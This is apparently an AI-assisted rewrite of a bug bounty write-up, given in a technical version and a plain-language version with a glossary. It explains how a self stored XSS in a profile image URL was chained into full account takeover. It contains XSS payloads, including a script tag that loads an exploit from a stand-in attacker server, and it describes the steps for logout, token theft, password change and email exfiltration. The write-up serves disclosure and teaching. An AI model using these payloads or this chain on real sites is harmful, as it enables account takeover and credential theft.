Skip to content
XSS Write-up Advanced

Self stored xss to full account takeover

A stored cross-site scripting flaw existed in the profile image URL field, but it only executed for the user who set it. By chaining a CSRF login with a Google token, forced logout, and a click on the Google login button, the attacker could run the script in the victim's session and then change the victim's password and exfiltrate the email.

Jatin Aesthetic Follow

Published on medium.com

Bug Bounty

Jatin Nandwana, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target was a private bug bounty program, so the researcher redacted the site and every hostname in the write-up. The feature at the centre of the report is the profile image upload. When a user picks an image from their local drive, the site first uploads the file to a separate server, and in a second request it stores the URL of that image, now hosted on the other server, against the current profile. That second request carries the image URL as a parameter, and the profile page later renders that stored value.

The researcher's chain turns a self stored XSS in that parameter into a full account takeover by combining it with a Google login flow, a logout endpoint protected by a CSRF token that is readable from the page source, a password change endpoint that does not ask for the current password, and an email address kept in local storage.

Setup

The work was done against a private program, so no hostnames, versions or account details are given. The researcher worked from an attacker account and reasoned about a victim who has a Google account linked to the site. The chain relies on the victim already using their Google account on the site. The exploit script was hosted on the researcher's own server and pulled into the page through the XSS.

Finding it

While testing the profile upload, the researcher noticed that the image URL sent in the second request is stored and later rendered without sanitisation. Putting a script tag into the URL parameter produced an alert every time the profile page was visited:

Text
&imageurl=https://example.com"><script>alert(1)</script>

The "> closes whatever attribute the URL is placed into, and the script tag then runs in the page. On its own this is a self XSS: it only fires for the account that stored the payload. The researcher's next problem was making it run in the victim's browser.

Exploitation

Step 1: self stored XSS in the image URL

The payload above is stored against the attacker's profile and executes whenever that profile page is loaded. Because the value is persisted server side, it survives between visits, which is what makes the later chain possible.

Step 2: CSRF login into the attacker account to get good XSS

The site offered a Google login method. The researcher found that a Google login token can be captured after logging in, stays valid for one day, and can be replayed from HTML to log a browser into the attacker's account. Combined with a setTimeout that navigates the browser to the attacker's profile page after five seconds, the stored XSS fires in the victim's browser while the address bar still shows the site's own domain. The researcher notes that the token can be refreshed automatically to keep the chain working.

This version was reported and the triager accepted the mechanism, but asked for the XSS to be executed on the victim's own account for real impact. That request pushed the researcher to the next stage.

Step 3: logging the victim out of their own account

To reach the victim's Google-linked session, the victim first has to be logged out of their current account. The logout endpoint was not a simple URL: it required a CSRF token passed in a parameter called csrf. That token is embedded in the page source, so the XSS can read it. The researcher wrote JavaScript that performs the logout through an iframe, hosted the script on their own server, and updated the stored payload to load it:

Text
"><script src="https://myserver.com/exploit.js"></script>

With this in place, the script logs the browser out of the attacker's account.

Step 4: logging into the victim's account through the Google button

There was no URL that triggered the Google login directly; the only way in was clicking the Google login button. The researcher read up on clicking a button inside the DOM from JavaScript and built a script that opens a second iframe inside the first. When the inner iframe has loaded, the script uses its DOM to click the Google login button after 30 seconds, giving the frame time to load properly. The click on the Google login button then logs the browser into the victim's account.

Step 5: stealing the password change CSRF token and the username

The attacker is now inside the victim's account, and the goal shifts to a full takeover. Session cookies were HttpOnly, so stealing them was not an option. The settings page allows adding a password to a Google-linked account, and it does not require the previous password. That makes a password change the next step.

Two more pieces were needed:

  1. A separate CSRF token for the password change, present only in the settings page source.
  2. The username, because the settings page lives at a per-user path.

The settings page URL has this shape:

Text
https://example.com/user/setting

and the researcher needed the username to build the real one:

Text
https://example.com/<USER_NAME_OBTAINED>/setting

The username was available in the same page source where the logout CSRF token had been read, so the same technique retrieves it. The script then opens yet another iframe inside the previous one, loads the settings page, and steals the password change CSRF token from it.

Step 6: changing the password

With the token in hand, the script sends an XMLHTTP POST request to the password change endpoint to set a new password on the victim's account.

Step 7: exfiltrating the email address

A password alone is not enough for a takeover; the attacker also needs the email address used to log in. The email was stored in the site's local storage, so the script reads it from there and sends the final credentials to the attacker's server using the JavaScript fetch API.

At that point the researcher had a complete account takeover starting from a self stored XSS. The full exploit code is published in a gist linked from the write-up, and the researcher notes that the whole chain takes at least one minute because of the timeouts set on the iframes to let them load.

Root cause

The initial flaw is a stored XSS: the image URL parameter is persisted and rendered into the profile page without encoding, so a "> breaks out of the attribute and a script tag executes. The rest of the chain is a set of design weaknesses that each remove a barrier:

  • The Google login token is replayable for a day and can be used from HTML, so a login CSRF puts the victim into the attacker's account.
  • The logout CSRF token is embedded in the page source, so any XSS on the site can read it and perform the logout.
  • The Google login can only be triggered by a click, but a click can be synthesised from JavaScript inside an iframe.
  • The password change endpoint does not require the current password, so a session that has been taken over can set a new one.
  • The password change CSRF token and the username are both readable from the settings page source, so the XSS can retrieve them.
  • The email address is kept in local storage, so it is readable by any script running on the origin.

HttpOnly cookies blocked direct session theft, but they did not stop the attacker from acting inside the victim's authenticated session.

Impact

Under the precondition that the victim has a Google account linked to the site, an attacker who gets the victim to load the crafted page can log the victim out, log them into the victim's own account through the Google button, set a new password without knowing the old one, and receive the victim's email address and new password on the attacker's server. That is a full account takeover. The address bar stays on the site's own domain throughout, which makes the social engineering step more believable. The chain depends on the victim visiting the attacker's page and on the iframe timeouts, and takes at least a minute to complete.

Fix

The report does not describe any fix that was applied. The changes that would break the chain are: encode the stored image URL on output so the attribute cannot be escaped, require the current password (or a fresh re-authentication) for setting a password on a Google-linked account, bind the password change and logout CSRF tokens so they cannot be read and replayed from the page source, and avoid keeping the email address in local storage where any script on the origin can read it.

Variants to test

  1. Image URL parameters on other upload features. Submit a value containing "> followed by a script tag and reload the profile. A positive result is the script executing on every visit.
  2. Logout endpoints with a token in the page source. Check whether the csrf parameter value is embedded in HTML that any script on the origin can read. A positive result is a script that performs the logout through an iframe.
  3. Google or OAuth login buttons with no direct URL. Try clicking the button from JavaScript inside an iframe after a delay. A positive result is the browser ending up logged into the account tied to the existing provider session.
  4. Password change without the current password. On an account that was created through a provider, try setting a password with only the session and the page's CSRF token. A positive result is the password being accepted.
  5. Sensitive values in local storage. Look for email addresses, usernames or tokens in localStorage on authenticated pages. A positive result is a value that can be read and sent out with fetch.
  6. Per-user settings paths. Check whether the username needed to build a settings URL is exposed in page source. A positive result is the username being recoverable from any page the XSS can load.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a small bug on a website: a piece of text he typed into his own profile could make a script run in his own browser. On its own that is almost useless, because it only affects the person who typed it. Over the course of several hours he chained it together with several other weaknesses in the site and turned it into a way to take over somebody else's account completely: log the victim out, log them back in, set a new password without knowing the old one, and receive the victim's email address and new password on his own server.

The site was part of a private bug bounty program, which is an arrangement where a company invites researchers to look for bugs and pays them for reporting them, on the condition that the details stay private. Because of that, every hostname and account detail in the write-up is replaced with placeholders such as example.com.

Before going further, a few words that come up constantly below.

  • A script is a small program that a web page can run inside your browser. JavaScript is the language browsers use for this.
  • XSS, short for cross-site scripting, is a bug where an attacker manages to get their own script to run inside somebody else's browser, on the real website. The browser cannot tell the difference between the site's own scripts and the injected one, so the injected script can do anything the site's own code could do.
  • A cookie is a small piece of data the site asks your browser to keep and send back with every request, so the site can recognise you between page loads. It is how you stay logged in.
  • A token is a value, usually a long random string, that the site hands out and later checks. If you present the right token, the site believes you are allowed to do something.
  • CSRF, short for cross-site request forgery, is a trick where an attacker makes your browser send a request to a site you are logged into, without you meaning to. Sites defend against it by requiring a secret token with each sensitive request, so that a request forged from elsewhere will not have the right token.
  • An iframe is a page inside a page: a rectangle in the current page that loads another web address. Scripts on the outer page can, under some conditions, reach into the inner page and interact with it.
  • localStorage is a storage area inside your browser that a website can write to and read from with JavaScript. It survives page reloads and is not sent to the server automatically, unlike cookies.
  • An API is the set of addresses and rules a site offers so that programs, rather than people clicking, can ask it to do things. When a script sends a request to an API, it is doing the same thing a form submission would do, just without a human.

The feature that was broken

The target was a private bug bounty program, so the researcher redacted the site and every hostname in the write-up. The feature at the centre of the report is the profile image upload.

When you pick a picture on a site like this, two things happen behind the scenes. First the file itself is sent to a separate server, a machine whose job is to hold files. Then a second request tells the main site: the picture now lives at this address, please remember it for my profile. That second request carries the image address as a parameter, which is a named value attached to the request, in this case imageurl. The profile page later takes that stored value and puts it into the page so the picture shows up.

The researcher used his own attacker account and reasoned about a victim who has a Google account linked to the site. The chain relies on the victim already using their Google account on the site. The exploit script was hosted on the researcher's own server and pulled into the page through the XSS.

Finding it

While testing the profile upload, the researcher noticed that the image address sent in the second request is stored and later placed into the profile page without being cleaned up. Cleaning up here means encoding characters that have a special meaning in HTML, so that they are shown as text rather than treated as instructions. Because that did not happen, putting a script tag into the address parameter produced an alert every time the profile page was visited:

Text
&imageurl=https://example.com"><script>alert(1)</script>

Line by line:

  • &imageurl= is the name of the parameter the site expects, followed by its value. The & shows this is one parameter among several in a longer request.
  • https://example.com is the start of a normal-looking image address, so the value looks plausible at a glance.
  • "> is the interesting part. The site was placing the address inside an HTML attribute, something like src="...". The double quote closes that attribute early, and the > closes the surrounding tag. Everything after it is now treated as fresh HTML rather than as part of the address.
  • <script>alert(1)</script> is a script tag whose only job is to pop up a box saying 1. It is the simplest possible proof that a script is running.

On its own this is a self XSS: it only fires for the account that stored the payload. Think of writing an insult on your own coffee mug: only you ever see it. The researcher's next problem was making it run in the victim's browser.

Exploitation

Step 1: self stored XSS in the image URL

The payload above is stored against the attacker's profile and executes whenever that profile page is loaded. Because the value is saved on the server, it survives between visits, which is what makes the later chain possible. A stored XSS is like a note pinned to a noticeboard: it stays there and everyone who walks past sees it, as opposed to a reflected XSS, which is more like a note handed to one person and gone the next moment.

Step 2: CSRF login into the attacker account to get good XSS

The site offered a Google login method. The researcher found that a Google login token can be captured after logging in, stays valid for one day, and can be replayed from HTML to log a browser into the attacker's account. Replaying means sending the same value again later, from somewhere else, and having it accepted as if it were the original login.

Combined with a setTimeout that navigates the browser to the attacker's profile page after five seconds, the stored XSS fires in the victim's browser while the address bar still shows the site's own domain. setTimeout is a JavaScript function that runs some code after a delay, measured in milliseconds, so five seconds is 5000. The delay matters because the login has to finish before the profile page is loaded; otherwise the browser would not yet be logged in as the attacker and the stored payload would not be shown.

The researcher notes that the token can be refreshed automatically to keep the chain working, since it expires after a day.

This version was reported and the triager accepted the mechanism, but asked for the XSS to be executed on the victim's own account for real impact. A triager is the person at the bug bounty platform who reads a report first and decides whether it is worth passing to the company. That request pushed the researcher to the next stage.

Step 3: logging the victim out of their own account

To reach the victim's Google-linked session, the victim first has to be logged out of their current account.

The logout endpoint was not a simple URL you could just load. It required a CSRF token passed in a parameter called csrf. That token is embedded in the page source, meaning it is written into the HTML the browser receives, so the XSS can read it. The researcher wrote JavaScript that performs the logout through an iframe, hosted the script on their own server, and updated the stored payload to load it:

Text
"><script src="https://myserver.com/exploit.js"></script>

Line by line:

  • "> again closes the attribute and the tag, exactly as before.
  • <script src="https://myserver.com/exploit.js"> tells the browser to fetch a script file from the researcher's server and run it. src is the attribute that holds the address of the file. This is how the attacker gets a whole program into the page without having to squeeze it all into the image address parameter.
  • </script> closes the tag.

With this in place, the script logs the browser out of the attacker's account. The logout happens inside an iframe, which is a page loaded inside the current page; the script reads the csrf value from that inner page and submits it, so the site accepts the logout as legitimate.

Step 4: logging into the victim's account through the Google button

There was no URL that triggered the Google login directly; the only way in was clicking the Google login button. This is a common design: the button runs some JavaScript that talks to Google, and there is no plain address you can visit to get the same effect.

The researcher read up on clicking a button inside the DOM from JavaScript and built a script that opens a second iframe inside the first. The DOM, short for Document Object Model, is the browser's in-memory model of the page: every element, every button, every text box is an object a script can find and act on. Clicking a button from a script is the same as a person clicking it, as far as the page is concerned.

When the inner iframe has loaded, the script uses its DOM to click the Google login button after 30 seconds, giving the frame time to load properly. The click on the Google login button then logs the browser into the victim's account.

Step 5: stealing the password change CSRF token and the username

The attacker is now inside the victim's account, and the goal shifts to a full takeover. Session cookies were HttpOnly, so stealing them was not an option. HttpOnly is a flag a site can set on a cookie that tells the browser: never let JavaScript read this cookie. It is like a key kept in a locked drawer that only the browser itself can use. So the attacker could not simply copy the login cookie and use it elsewhere.

The settings page allows adding a password to a Google-linked account, and it does not require the previous password. That makes a password change the next step.

Two more pieces were needed:

  1. A separate CSRF token for the password change, present only in the settings page source.
  2. The username, because the settings page lives at a per-user path, meaning the address contains the username.

The settings page URL has this shape:

Text
https://example.com/user/setting

and the researcher needed the username to build the real one:

Text
https://example.com/<USER_NAME_OBTAINED>/setting

Line by line:

  • https://example.com/ is the site.
  • <USER_NAME_OBTAINED> is a placeholder for whatever username the script managed to read. The angle brackets are not part of the address; they mark where the value goes.
  • /setting is the settings page.

The username was available in the same page source where the logout CSRF token had been read, so the same technique retrieves it. The script then opens yet another iframe inside the previous one, loads the settings page, and steals the password change CSRF token from it. Each iframe is a fresh page the script can reach into, so the chain grows one layer at a time.

Step 6: changing the password

With the token in hand, the script sends an XMLHTTP POST request to the password change endpoint to set a new password on the victim's account. XMLHTTP, usually written XMLHttpRequest, is the older browser mechanism for sending a request from JavaScript without reloading the page. POST is the method used when you are sending data that changes something on the server, as opposed to GET, which just asks for a page. The endpoint is the specific address on the server that handles password changes.

Step 7: exfiltrating the email address

A password alone is not enough for a takeover; the attacker also needs the email address used to log in, because that is the other half of the login pair. The email was stored in the site's local storage, so the script reads it from there and sends the final credentials to the attacker's server using the JavaScript fetch API. fetch is the modern way for a script to send a request; here it is used to send data out to the researcher's own machine.

At that point the researcher had a complete account takeover starting from a self stored XSS. The full exploit code is published in a gist linked from the write-up, and the researcher notes that the whole chain takes at least one minute because of the timeouts set on the iframes to let them load.

Root cause

The initial flaw is a stored XSS: the image URL parameter is persisted and rendered into the profile page without encoding, so a "> breaks out of the attribute and a script tag executes. The rest of the chain is a set of design weaknesses that each remove a barrier:

  • The Google login token is replayable for a day and can be used from HTML, so a login CSRF puts the victim into the attacker's account.
  • The logout CSRF token is embedded in the page source, so any XSS on the site can read it and perform the logout.
  • The Google login can only be triggered by a click, but a click can be synthesised from JavaScript inside an iframe.
  • The password change endpoint does not require the current password, so a session that has been taken over can set a new one.
  • The password change CSRF token and the username are both readable from the settings page source, so the XSS can retrieve them.
  • The email address is kept in local storage, so it is readable by any script running on the origin. The origin is the combination of scheme, host and port, for example https://example.com; scripts from one origin are not supposed to read data belonging to another, but a script injected into the site itself is inside the origin and can read everything.

HttpOnly cookies blocked direct session theft, but they did not stop the attacker from acting inside the victim's authenticated session. The distinction matters: the attacker never held the key, but they were standing inside the house while the door was open.

Impact

Under the precondition that the victim has a Google account linked to the site, an attacker who gets the victim to load the crafted page can log the victim out, log them into the victim's own account through the Google button, set a new password without knowing the old one, and receive the victim's email address and new password on the attacker's server. That is a full account takeover.

The address bar stays on the site's own domain throughout, which makes the social engineering step more believable. Social engineering here means persuading a person to do something, such as open a link, by making the request look trustworthy. The chain depends on the victim visiting the attacker's page and on the iframe timeouts, and takes at least a minute to complete.

Fix

The report does not describe any fix that was applied. The changes that would break the chain are: encode the stored image URL on output so the attribute cannot be escaped, require the current password (or a fresh re-authentication) for setting a password on a Google-linked account, bind the password change and logout CSRF tokens so they cannot be read and replayed from the page source, and avoid keeping the email address in local storage where any script on the origin can read it.

Variants to test

  1. Image URL parameters on other upload features. Submit a value containing "> followed by a script tag and reload the profile. A positive result is the script executing on every visit.
  2. Logout endpoints with a token in the page source. Check whether the csrf parameter value is embedded in HTML that any script on the origin can read. A positive result is a script that performs the logout through an iframe.
  3. Google or OAuth login buttons with no direct URL. Try clicking the button from JavaScript inside an iframe after a delay. A positive result is the browser ending up logged into the account tied to the existing provider session. OAuth is the standard system behind buttons like "Log in with Google".
  4. Password change without the current password. On an account that was created through a provider, try setting a password with only the session and the page's CSRF token. A positive result is the password being accepted.
  5. Sensitive values in local storage. Look for email addresses, usernames or tokens in localStorage on authenticated pages. A positive result is a value that can be read and sent out with fetch.
  6. Per-user settings paths. Check whether the username needed to build a settings URL is exposed in page source. A positive result is the username being recoverable from any page the XSS can load.

Glossary

  • API: the set of addresses and rules a site offers so that programs, rather than people clicking, can ask it to do things.
  • Attribute: a named value inside an HTML tag, such as src in <script src="...">, which tells the browser something about that element.
  • Bug bounty program: an arrangement where a company invites researchers to look for bugs and pays them for reporting them, often under rules that keep the details private.
  • Cookie: a small piece of data a site asks your browser to keep and send back with every request, so the site can recognise you between page loads.
  • CSRF (cross-site request forgery): a trick where an attacker makes your browser send a request to a site you are logged into, without you meaning to.
  • CSRF token: a secret value the site requires with a sensitive request, so that a request forged from elsewhere will not have the right value.
  • DOM (Document Object Model): the browser's in-memory model of a page, where every element is an object a script can find and act on.
  • Endpoint: a specific address on a server that handles a particular action, such as logging out or changing a password.
  • Exfiltration: sending stolen data out to a machine the attacker controls.
  • fetch: the modern JavaScript function for sending a request from a page, used here to send data to the attacker's server.
  • GET: the request method used when you are just asking for a page or data.
  • HttpOnly: a flag on a cookie that stops JavaScript from reading it, so a script cannot copy the login cookie.
  • iframe: a page loaded inside another page, in a rectangle on the screen.
  • JavaScript: the programming language browsers run, used to make pages interactive and, in this case, to build the exploit.
  • localStorage: a storage area inside the browser that a website can write to and read from with JavaScript, surviving page reloads.
  • OAuth: the standard system behind buttons like "Log in with Google", which let a site use another company's login.
  • Origin: the combination of scheme, host and port, such as https://example.com; scripts from one origin are not supposed to read data belonging to another.
  • Parameter: a named value attached to a request, such as imageurl in the upload request.
  • POST: the request method used when you are sending data that changes something on the server.
  • Replay: sending a value again later, from somewhere else, and having it accepted as if it were the original.
  • Script: a small program a web page can run inside your browser.
  • Self XSS: an XSS that only fires for the account that stored the payload, so it affects nobody else on its own.
  • setTimeout: a JavaScript function that runs some code after a delay, measured in milliseconds.
  • Social engineering: persuading a person to do something, such as open a link, by making the request look trustworthy.
  • Stored XSS: an XSS where the payload is saved on the server and runs every time the affected page is loaded.
  • Token: a value, usually a long random string, that the site hands out and later checks; presenting the right one proves you are allowed to do something.
  • Triager: the person at a bug bounty platform who reads a report first and decides whether it is worth passing to the company.
  • Username: the name that identifies an account on the site, used here to build the settings page address.
  • XSS (cross-site scripting): a bug where an attacker gets their own script to run inside somebody else's browser, on the real website.
  • XMLHttpRequest: the older browser mechanism for sending a request from JavaScript without reloading the page.

More by Jatin Aesthetic

View all

4 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.